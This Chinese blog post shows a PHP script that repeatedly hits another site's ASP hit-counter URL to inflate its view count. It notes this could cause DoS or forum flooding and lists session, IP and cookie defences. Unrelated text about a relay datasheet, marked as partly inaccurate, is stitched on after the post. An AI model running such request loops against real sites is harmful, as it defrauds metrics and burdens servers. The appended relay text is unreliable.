php 机刷系统下载,PHP实现自动刷数和“灌水”机

这篇博客讨论了一个网站使用JS计数器在静态页面中更新点击数的方法,并指出通过PHP脚本可以轻易地自动刷新这个计数器,从而可能导致灌水或DoS攻击。文章提到了三种防范措施,包括使用Session、记录IP地址和设置客户端Cookie。此外,还提醒读者防范此类攻击时可以采取更多技术和创新思维。

今天无意间看到一个网站,它的计数器能够在静态页里更新,我想,应该是使用js来做的,打开源代码一看,果然是:

<div align=center><SPAN class=Article_tdbgall>

作者:未知 文章来源:Meidi.Net

点击数:

<script language=’javascript’ src=’/Article/GetHits.asp?ArticleID=759’></script>

更新时间:2005-5-27</SPAN>

</div>

点击数后面是一个asp文件去处理的,那么我打开这个文件看看:

document.write(’210’);

是吧,就是GetHists.asp文件处理ArticleID后提取结果后输出次数:document.write(’次数’),再静态页里就能够直接引用了。

坏人终究是坏人,那么我就想,如何能够迅速提升点击数呢?手工刷新的话不是很类,恩,赶紧写个PHP程序来自动的去访问这个文件。

PHP代码如下:

<?php

/* access_url.php */

define(SUM, 1000); //需要访问的次数

define(L_TIME, 1000); //强制脚本执行的时间

define(S_TIME, 1); //每次访问之间休眠的时间

$url = http://www.xxx.com/Article/GetHits.asp?ArticleID=759; //需要访问的地址

set_time_limit(L_TIME);

//访问指定URL函数

function access_url($url)

{

if ($url==’’) return false;

$fp = fopen($url, ’r’) or exit(’Open url faild!’);

if ($fp) {

while (!feof($fp)) {

$file = fgets($fp);

echo $file."\n<p> </p>\n";

}

unset($file);

}

}

//进行测试

for ($i=0; $i<SUM; $i++) {

access_url($url);

sleep(S_TIME);

}

?>

运行上面的程序,那么就会连续访问指定的URL地址,那么自然这个访问次数就会连续增加,达到灌水的效果。如果是流量大,而且用多程序去运行的话,那么很容易就会达到拒绝服务(DoS)的效果了。如果对方的防范措施,把代码修改一下针对论坛进行提交,很容易实现论坛灌水的效果。

防范方法:

1. 代码中使用Session机制,当用户提交的时候生成一个Session ID,提交内容的时候判断是否已经提交,如果已提交那么就不允许刷。

2. 当用户提交以后记录用户的IP地址,如果指定时间内再提交的话就不允许再提交。

3. 当用户提交内容以后,在用户客户端写入Cookie,如果用户再次提交先检查客户端是否有Cookie来确定是否允许提交。

还有很多其他方法,可以去搜索一下,或者发挥自己的想象力,做的更好。

本文原创发布php中文网,转载请注明出处,感谢您的尊重!

下载前必看:https://pan.quark.cn/s/744f26e0d658 标题“安良H3D 多功能限时继电器.pdf”中的知识点涉及继电器的技术细节功能特性。 继电器是一种电控制装置,广泛应用于电子、电力、自动化及通信系统中,其主要功能是在输入电路中由小功率控制大功率电路的一种自动开关。 限时继电器则是具备时间控制功能的继电器,可以在设定时间后延迟动作或是在设定时间内动作,从而实现时间控制。 从描述标签“安良H3D 多功能限时继电器pdf, 安良H3D 多功能限时继电器”中,可以推测这份PDF文件是对特定型号H3D继电器的技术说明文档,它强调了该继电器的多功能特性,意味着该设备不仅仅是简单的定时器,可能还集成了多种功能,例如过载保护、故障报警、远程控制等。 标签“综合资料”则表明这是一份综合性的技术资料,为使用者提供全面的继电器信息。 关于文档中部分内容的分析,虽然文档信息不是完全准确,但可以推断其描述了该继电器的相关技术参、功能应用操作说明。 以下是对这部分内容的详细解读:继电器名称“H3D-M”表明这是安良公司生产的H3D型号系列中的M型继电器。 文档中提到的“使用了H3D-M继电器”可能说明该文档提供了该型号继电器的具体应用案例或示例。 接着,“价值了H3D-M继电器”可能是指H3D-M继电器被使用或实现的功能。 从上下文看,这些功能包括定时控制、安全保护、远程通信等。 在安全保护方面,继电器可实现过载保护,防止系统过载引发的故障。 远程通信则意味着该继电器可能具备网络接口,能通过网络接受控制指令或发送状态信息。 文档中还提到“实现了H3D-M继电器的多种功能”,表明继电器集成了多项功能,如可以进行定时控制、保护信号采集等多种操作。 这说明继电器不仅具有基本的...
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值